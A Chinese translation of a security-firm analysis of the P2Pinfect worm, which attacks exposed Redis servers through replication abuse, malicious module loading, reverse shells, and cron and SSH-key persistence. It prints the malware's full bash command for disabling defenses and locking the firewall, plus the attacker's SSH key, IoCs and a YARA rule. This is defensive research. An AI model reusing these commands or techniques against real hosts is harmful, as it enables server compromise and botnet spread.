天天看點

安全研究人員發現新的惡意軟體 Redis p2pinfect

作者:區塊軟體開發

Cado安全實驗室的研究人員最近發現了一種針對Redis資料存儲公開通路部署的新型惡意軟體,該惡意軟體被開發者命名為“p2pinfect”,此軟體由Rust 語言進行編寫的,主要被用來充當僵屍網絡代理。Cado研究人員在分析中發現:該軟體還包含一個可移植嵌入式檔案(PE)以及一個ELF可執行目标檔案,這也表明了該軟體可向Windows和Linux 進行跨平台相容。

在發現時間至此文釋出之前,Unit42 的研究人員還發表了一篇針對該惡意軟體Windows變種的深入分析。他們發現:此次遇到的變體是通過利用CVE-2022-0543(Redis的某些版本中存在一個LUA沙盒逃逸漏洞)來傳遞的。Cado研究人員見證了一種不同的初始通路媒介,這也将在本文中進行進一步闡述。

P2Pinfect概述:

  • 嘗試多次利用Redis進行初始通路
  • 利用Rust進行有效載荷開發,使得分析變得更加棘手
  • 使用多種規避技術來阻礙動态分析
  • 對Redis和SSH伺服器進行網際網路掃描
  • 以類似蠕蟲病毒的方式進行自我複制

初始通路

Cado的研究人員首次在蜜罐遙測中發現 p2pinfect。該惡意軟體通過利用複制功能危害Redis資料存儲的暴露執行個體,其複制功能會允許Redis執行個體以分布式方式運作,即所謂的上司者/追随者拓撲結構。而這會允許跟随節點充當上司節點的精确副本,進而為資料存儲和故障轉移提供高可用性。

在雲環境中,針對Redis的一種常見攻擊模式是利用惡意執行個體來啟用複制,主要是通過連接配接到一個公開的Redis執行個體并發出SLAVEOF指令。一旦複制完成,攻擊者就可以加載一個惡意子產品(一個Linux共享對象檔案),該子產品擴充了Redis本身的功能。這種初始通路載體于2018年被首次展示,此後多次被運用于雲惡意軟體活動中,其中包含H2miner和最近的Headcrab。

安全研究人員發現新的惡意軟體 Redis p2pinfect

P2Pinfect用于初始通路的Redis指令

P2Pinfect使用多種已知的Redis攻擊方法進行初始通路,但正是上述方法最終破壞了Cado的蜜罐基礎架構。從截圖中可以看出一個惡意的SLAVEOF指令被下達,這也意味着針對惡意上司者的Cado Redis被部署複制。

在進行複制後,使用MODULE LOAD指令加載惡意共享對象檔案exp.so。這個共享對象擴充了Redis的功能,為攻擊者提供了反向shell通路,并添加了新指令system.exec,而這會允許在主機上運作任意shell指令。

安全研究人員發現新的惡意軟體 Redis p2pinfect

示範攻擊者指令的exp.so反編譯片段

system.exec通過/dev/tcp反向shell向C2伺服器發出指令,檢索并執行主要的Linux負載。p2pinfect 試圖通過Cron我們之前描述的未經身份驗證的RCE機制來破壞Redis主機。

安全研究人員發現新的惡意軟體 Redis p2pinfect

注冊惡意cronjob的Redis指令示例

這種濫用config set dir指令的方法也可用于攻擊者控制的SSH密鑰,成功後可確定利用後門進行主機的通路。

P2Pinfect也會通過此漏洞在其他Redis應用失敗時提供網絡備援。

有效載荷

檢索到的主要有效負載是使用Rust的外部函數接口(FFI)庫,是一個用C語言和Rust語言組合編寫的ELF。有效負載具有一個典型的 libc_start_main 入口和一個C語言函數,該函數在其他設定操作中為程序進行系統調用注冊了許多sigaction 。然後它分成一個典型的Rust lang_start函數,用來執行有效負載的Rust元件。該元件還使用FFI與C函數進行互操作。除此之外,二進制檔案還使用了UPX進行打包。

執行後,該二進制檔案将更新主機的SSH配置。它使用捆綁的配置檔案将 sshd_config 檔案更新到接近預設狀态。而這會删除任何可能妨礙作者通過SSH通路伺服器的配置,并啟用密碼驗證。然後重新開機SSH服務,并将以下密鑰放入目前使用者的authorized_keys檔案中:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/2CmHl/eiVchVmng4TEPAxOnO+6R0Rb/W+zlwCR+/g3mHqsiadebQx4rd5Ru/2HnSIut2kxm9Pz4ycxMIP4tNqyeHGpXhngTHnCduUwDofkVwzuy1GtDWXwlZbW3a4FDkPB4QwyHzB62+8G2L8CaG/3v26acRef9UWO2JepanMAkJo0oOrFg/chMbTcrhXwhbesTnb12yhaXBS8KgF1bWkMEqPvAGAFBj1G19dBcThK/qw1Wg2wIEl23kDdc5P4tRVvisYj9s5pqIG/+i9AjAlpS8AEqymmYjA3xUyWc/2D1BytbHIZCn5rGlrTNM1GcB/cCTByqdOEbckBi17cOXBDKmG/NRSj7in71Rh81R54xhIn5FTGGBxtrxXhHVkfyRl23IRCnZevrM41Lra3WaFYNMVgmfjf78L98mAByoSI2ztwYpSksVnrtjLC7o73fLff2Ttyie7tRIkbGcm7wlUP81U6Qk+4AwuxfxRQhol9glY7JqdRmmqjYjfviy10wgLRBhtjdIDWSF18CsL0qW60/3YvYt+AtW0JXMMXq8KKUOWEAqbJTddKTsd0H5nvxbz+pBgeB850DcNwUm+Ko1x6zKbM4KqM8xpQDfFf139ZLsq6aW34jZJ1/2HxNtVs39tt/N1BvoZcsV8yH/du09LWf113BFNmkMYz1YUrT+1w== [email protected]           

然後,它使用bash運作以下指令:

mv /usr/bin/wget /usr/bin/wgbtx;mv /usr/bin/curl /usr/bin/clbtx;iptables -F;iptables -P INPUT ACCEPT;iptables -P OUTPUT ACCEPT;if ! which iptables;then apt-get install -y iptables iptables-services || yum install -y iptables iptables-services || dnf install -y iptables iptables-services || zypper install -y iptables iptables-services || pacman -S --noconfirm iptables iptables-services;fi; if ! which awk;then apt-get install -y gawk || yum install -y gawk || dnf install -y gawk || zypper install -y gawk || pacman -S --noconfirm gawk;fi; if ! which netstat;then apt-get install -y net-tools || yum install -y net-tools || dnf install -y net-tools || zypper install -y net-tools || pacman -S --noconfirm net-tools;fi; redis_ips=$(netstat -tnp | grep ':6379' | grep 'ESTABLISHED' | awk '{print $5}' | awk -F ':' '{print $1}' | sort -u);for ip in $redis_ips;do iptables -A INPUT -p tcp --dport 6379 -s \"$ip\" -j ACCEPT; done; iptables -A INPUT -p tcp --dport 6379 -j DROP; iptables -A INPUT -p tcp --dport <port binary listens on> -j ACCEPT           

相關内容:

  • 将wget 和curl二進制檔案分别重命名為wgbtx和clbtx。這可能是為了阻止事件響應者使用它們來下拉驗證工具,并阻止EDR解決方案檢測指令的使用情況。這是針對雲威脅參與者的常見TTP 。.
  • 檢查iptables指令,如果找沒有找到則進行安裝。它有幾個特定于單個包管理器的指令,是以不管使用的是什麼Linux發行版,都可以安裝它。
  • 檢查awk指令,如果沒有找到則進行安裝。和前面的指令一樣,它将嘗試使用幾個包管理器。
  • 檢查 netstat 指令, a如果沒有找到則進行安裝。和前面的指令一樣,它将嘗試使用幾個包管理器。
  • 使用netstat和awk收集目前到目标主機上運作的Redis伺服器的所有IP的清單。
  • 添加一個iptable的規則,允許從這些IP到redis伺服器的上擷取流量。
  • 添加一個iptables規則,來拒絕所有其他流量到redis伺服器。
  • 添加一個iptables允許所有流量流向随機選擇的端口的規則,主要有效負載在該端口上偵聽僵屍網絡通信。

由于Redis伺服器是已知的易受攻擊的,惡意軟體使用iptables表明這是為了防止任何其他威脅行為者破壞Redis伺服器,同時仍然允許Redis伺服器的合法營運商仍然通路伺服器,以免資訊洩露。

為了在重新啟動後建立持久性,二進制檔案會寫入/path/to/binary <base64 encoded node list>到.bash_logout.無論是通過TTY還是通過SSH退出任何bash會話,都會導緻二進制檔案重新顯示。通常,這可以通過使用.bashrc登入時運作指令,但使用.bash_logout是在登出之後生成的,這可以確定任何執行系統檢查的分析人員都沒有機會發現該程序。

丢棄的有效載荷

一個名為bash 的二進制檔案被放入 /tmp ,并使用 execv() 運作,參數為-bash 。這樣做的結果是,當在 ps aux 運作後,檔案會自動删除。 bash 二進制檔案掃描 /proc ,并打開stat中的每個程序,并監視/proc變更目錄,如果二進制檔案被終止,它将重新啟動主負載,如下所示:

安全研究人員發現新的惡意軟體 Redis p2pinfect

被丢棄的bash二進制檔案重新顯示被終止的負載的審計日志

bash還能夠在主二進制檔案上執行更新。它讀取主二進制檔案,并驗證它與從僵屍網絡中提取的最新簽名檔案是否比對。如果不比對(如:篡改或有新版本可用),則舊執行個體被終止,新版本以随機名稱下載下傳到相同目錄然後執行。

主二進制檔案還将監控檔案操作的其他程序。由于一些不明确的标準(如打開的檔案數量和IOPS),它會試圖殺死超過門檻值的程序。據推測,這是為了嘗試檢測事件響應或分析工具,列舉磁盤或建立記憶體轉儲。

安全研究人員發現新的惡意軟體 Redis p2pinfect

核心跟蹤日志顯示了向其他程序發送信号的示例

除了bash之外,一個名為miner的二進制檔案的副本以一個随機的名稱放在目前目錄中被執行然後删除。盡管名字如此,但這個二進制檔案實際上并不是一個加密曠工。唯一觀察到的行為是它重複進行休眠調用。然而,由于僵屍網絡操作員可以随時更新二進制檔案,是以該有效負載可能隻是處于休眠狀态,等待僵屍網絡增長到特定規模時才能被激活。

僵屍網絡

P2Pinfect惡意軟體針對僵屍網絡的利用點。每台受感染的伺服器都被視為一個節點,然後該節點會連接配接到其他受感染的伺服器。假設指令是通過在網絡上傳播簽名的消息來釋出的,這會使得整個僵屍網絡可以在不使用集中式C2伺服器的情況下互相牽連。

啟動後,二進制檔案開始在0.0.0.0上監聽,端口随機選擇,通常在60100和60150之間。該端口用于與其他對等端通信,在一個簡單的HTTP伺服器上提供大量有效負載,并使用HTTPS進行實際的僵屍網絡協調。HTTPS伺服器主要使用寫死證書(該證書在所有僵屍網絡成員中都是相同的),很可能該證書也被用作用戶端證書以向伺服器進行身份驗證(互相TLS)。

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            a8:ef:2b:a4:7e:63:82:e4
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = US, O = Anonymous, CN = localhost
        Validity
            Not Before: Jun 29 09:34:17 2023 GMT
            Not After : Jun  5 09:34:17 2123 GMT
        Subject: C = US, O = Anonymous, CN = localhost
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:d5:7c:72:5f:60:6a:72:e1:eb:c9:77:65:d1:85:
                    83:dd:e0:6c:d5:69:00:da:3e:17:af:44:8c:c8:3b:
                    ad:24:7a:f3:c2:6e:a9:ac:a1:60:0a:0c:5c:b3:b8:
                    6a:a7:eb:e6:4c:80:19:80:53:91:f8:d3:db:87:0e:
                    97:85:f4:01:42:a1:3b:42:e6:4a:7c:d2:d3:23:a5:
                    97:32:af:ed:a6:51:38:de:12:a8:ae:bd:9b:0e:85:
                    d8:66:d1:14:d9:af:f4:24:12:72:65:3f:31:7e:b9:
                    f1:06:0a:8b:60:a5:dc:95:c7:d2:ce:4c:99:ab:ab:
                    c4:cf:3f:75:a9:11:72:55:4b:1e:d1:18:a1:2a:ab:
                    85:16:5c:0d:67:b5:47:63:d4:bc:fb:d3:0c:37:61:
                    2e:04:0b:1c:49:9a:ea:3e:47:b6:aa:60:fd:3a:2c:
                    70:fb:d5:4f:34:bc:11:81:f1:cf:db:5f:6e:8e:9f:
                    6a:e1:eb:eb:33:07:b4:c5:56:d1:03:df:35:82:1e:
                    42:43:1e:41:f7:6a:8e:fb:14:c4:83:09:c4:f1:8f:
                    2e:a3:ad:20:a3:5f:f7:31:95:d3:45:e3:7d:ed:03:
                    9b:c9:17:a2:80:b1:6b:82:fa:0b:bd:c1:c0:63:81:
                    4a:0c:4d:92:10:7b:d4:b1:2f:32:68:a7:1a:1a:22:
                    02:0f
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Alternative Name: 
                DNS:localhost
    Signature Algorithm: sha256WithRSAEncryption
         44:69:f8:4f:8c:a6:6c:d6:a5:ca:6c:15:f7:d9:de:87:ed:79:
         15:a4:b6:1f:3d:ae:f1:4b:5a:33:70:d8:28:bb:97:24:29:8b:
         89:6c:e9:54:93:7d:dc:53:10:49:cd:31:78:eb:95:5c:ee:33:
         84:41:6b:cc:2c:e1:69:9c:08:c5:c0:56:a9:18:4f:98:06:0a:
         b8:d6:00:3e:24:fa:87:7c:95:a4:e1:40:35:6c:68:a3:a6:e4:
         59:31:59:8b:72:aa:97:96:ea:d8:74:79:d8:b3:05:79:3e:11:
         ed:ea:2d:33:e8:b4:da:21:24:38:ff:19:06:62:37:d8:5d:ec:
         4e:28:be:da:17:3c:b0:ba:51:31:41:12:2d:84:30:69:c6:67:
         9f:ba:8b:d1:4c:0a:d2:57:d2:55:4d:63:22:9d:87:c7:36:e9:
         d3:28:82:59:8a:cb:c6:5e:06:c2:d2:e3:0f:28:df:29:71:ea:
         79:39:ae:ff:36:e2:3d:93:51:4a:80:8d:38:c9:ba:a2:f8:ed:
         6f:a2:ee:de:4e:a5:ff:61:49:58:62:e7:d6:53:05:09:ac:a0:
         7c:61:a9:72:9e:9f:a5:c5:82:21:7a:20:62:2e:27:6d:85:11:
         ce:7e:ae:10:0e:18:e6:3e:3c:d9:ef:18:be:8e:17:e7:c9:b1:
         a7:ce:f3:36           

從證書的頒發日期來看,這場攻擊活動很可能是在6月29日之後開始的。

二進制檔案以逗号分隔的IP和端口對清單啟動,這些IP和端口對經過加密,然後以base64編碼作為其第一個參數。它将通路這些伺服器之一,以擷取以下所有二進制檔案的副本:

  • Linux–Linux系統的主要ELF有效負載
  • 用于Windows系統的windows主PE負載
  • miner–ELF二進制linux系統
  • win miner–用于windows系統的PE二進制檔案 -<name>_sign檔案,其中包含二進制的加密簽名

然後使用HTTP伺服器提供這些二進制檔案(這樣其他新的對等點可以獲得一個副本)。

然後,二進制檔案将自己注冊給其他僵屍網絡對等體。它通過在/ip上發送HTTP請求來實作這一點,該請求傳回正在運作的惡意軟體的本地主機IP。惡意軟體試圖從ipv4.icanhazip.com擷取其IP,但是由于這是惡意軟體的常見TTP,該請求可能會被阻止或欺騙,是以它可能會使用其他對等體進行檢查。而這也可以用于驗證對等體是否線上,接着它會與每個對等體建立TLS連接配接。

安全研究人員發現新的惡意軟體 Redis p2pinfect

對icanhazip和/ip的HTTP請求

爬蟲

此時,二進制檔案将嘗試感染更多的主機。二進制檔案将讀取bash_history、ssh config和已知的hosts檔案,以收集使用者、IPs和ssh密鑰的清單。然後,使用這些資訊來嘗試感染新的執行個體。該二進制檔案還将選擇一個随機的/16網絡字首來掃描暴露的SSH和Redis伺服器,并使用密碼清單來嘗試暴力破解它遇到的相關伺服器。

In the case of Redis servers, it will attempt to exploit the LUA sandbox escape vulnerability or use the SLAVEOF and MODULE LOAD commands to load a malicious module, as previously discussed.

在Redis伺服器下,它将試圖利用LUA沙箱逃逸漏洞或使用SLAVEOF和MODULE LOAD加載惡意子產品的指令,如前所述:

安全研究人員發現新的惡意軟體 Redis p2pinfect

惡意軟體使用的密碼清單

一旦獲得對主機的通路權限,它就會以最初受感染的伺服器相同方式感染主機,即丢棄自身的副本(從内置的HTTP伺服器擷取)并使用nodelist 作為參數來執行該副本。

結論

P2Pinfect設計精良,利用了複雜的複制和C2技術。選擇使用Rust還可以使代碼更容易跨平台移植(Windows和Linux二進制檔案共享大量相同的代碼),同時也使代碼的靜态分析變得更加困難。這是由于Rust本身的複雜性(外來函數接口特性而包含C代碼),緻使缺少可用于分析的工具。

Cado研究人員遇到的樣本與Unit42分析的Windows變體具有相似的功能。盡管如此,但他們最初的通路方法卻不同,而且 Cado研究人員沒有任何證據表明惡意軟體是專門針對雲環境的。從分析過程中收集的資訊來看,不管是本地的還是雲托管的,P2Pinfect可能會在大多數Linux主機上運作的。

Cado安全實驗室同意Unit42關于礦工有效載荷的發現。Cado研究人員沒有從這個惡意軟體樣本中觀察到任何可歸因于加密貨币挖掘的行為,這使得營運商可以快速部署他們選擇的任何有效載荷,而我們也将繼續監控這種惡意軟體并在發生時釋出更新。

Cado Security客戶可以使用Cado平台識别受到 P2Pinfect 感染的主機。

IoCs

Filename SHA256
linux 87a3fc1088449dbd3554fe029a1878a525e64ab4ccf71b23edb03619ba94403a
miner b1fab9d92a29ca7e8c0b0c4c45f759adf69b7387da9aebb1d1e90ea9ab7de76c
bash ce047893ac5bd2100db3448bd62c324e471ffcddd48433788bfe885e5f071a89

Yara Rule

rule P2Pinfect {
    meta:
        description = "Detects P2Pinfect worm on Linux"
        author = "[email protected]"
        license = "Apache License 2.0"
        date = "2023-07-28"
        hash1 = "87a3fc1088449dbd3554fe029a1878a525e64ab4ccf71b23edb03619ba94403a"
        hash2 = "ce047893ac5bd2100db3448bd62c324e471ffcddd48433788bfe885e5f071a89"
        hash3 = "b1fab9d92a29ca7e8c0b0c4c45f759adf69b7387da9aebb1d1e90ea9ab7de76c"
    strings:
        $magic = { 7f 45 4c 46 }

        $a1 = "p2pinfect"
        $a2 = "p2pmod"

        $b1 = { 48 8D 35 C2 13 22 00 6A 19 5A 4C 89 FF E8 A3 EF 17 00 48 8D 35 C9 13 22 00 6A 1E 5A 4C 89 FF E8 91 EF 17 00 48 8D 35 D5 13 22 00 6A 0E 5A 4C 89 FF E8 7F EF 17 00 48 8D 35 D1 13 22 00 6A 0F 5A 4C 89 FF E8 6D EF 17 00 48 8D 35 81 A5 21 00 4C 89 FF 4C 89 F2 E8 5B EF 17 00 }
        $b2 = { 48 83 E4 80 48 81 EC 80 0F 00 00 48 C7 04 24 00 00 00 00 48 81 EC 00 05 00 00 49 89 D0 49 89 F5 48 89 BC 24 88 00 00 00 0F B6 86 20 08 00 00 48 8D 0D A3 4D 18 00 48 63 04 81 48 01 C8 6A 01 5E 6A 02 41 5F 4C 89 6C 24 48 48 89 94 24 90 00 00 00 FF E0 }
        $b3 = { 4C 89 F7 49 89 D8 E8 10 BB 00 00 49 83 66 68 00 49 C7 46 70 0A 00 00 00 66 41 C7 46 78 01 00 6A 10 59 48 8D 84 24 50 04 00 00 48 89 C7 4C 89 F6 F3 48 A5 48 89 C7 E8 FA 76 01 00 }
        $b4 = { 48 8B 3D 0F 3F 06 00 48 8B 35 10 3F 06 00 E8 20 8E 04 00 49 8B 46 10 48 89 05 08 3F 06 00 41 0F 10 06 0F 11 05 ED 3E 06 00 48 8D 35 A4 D0 FF FF 6A 0F 5F FF 15 25 3D 06 00 48 83 F8 FF 75 06 }
        $b5 = { 49 29 F7 4C 89 F7 4C 89 FA FF 15 DB 92 21 00 48 8B 84 24 40 02 00 00 4C 01 E0 48 8B 8C 24 98 02 00 00 48 89 01 48 8B 84 24 80 00 00 00 48 89 28 48 8B BC 24 68 01 00 00 48 8D 77 10 48 8B 84 24 48 02 00 00 48 F7 D0 48 8B 94 24 50 02 00 00 48 01 C2 48 C1 E2 04 FF 15 FE 92 21 00 4C 8B A4 24 10 01 00 00 49 83 FC 01 4C 8B 3C 24 48 8B B4 24 38 01 00 00 0F 86 C0 02 00 00 }
    condition:
        $magic at 0 and (all of ($a*) or any of ($b*))
}           
翻譯自:https://www.cadosecurity.com/redis-p2pinfect/

繼續閱讀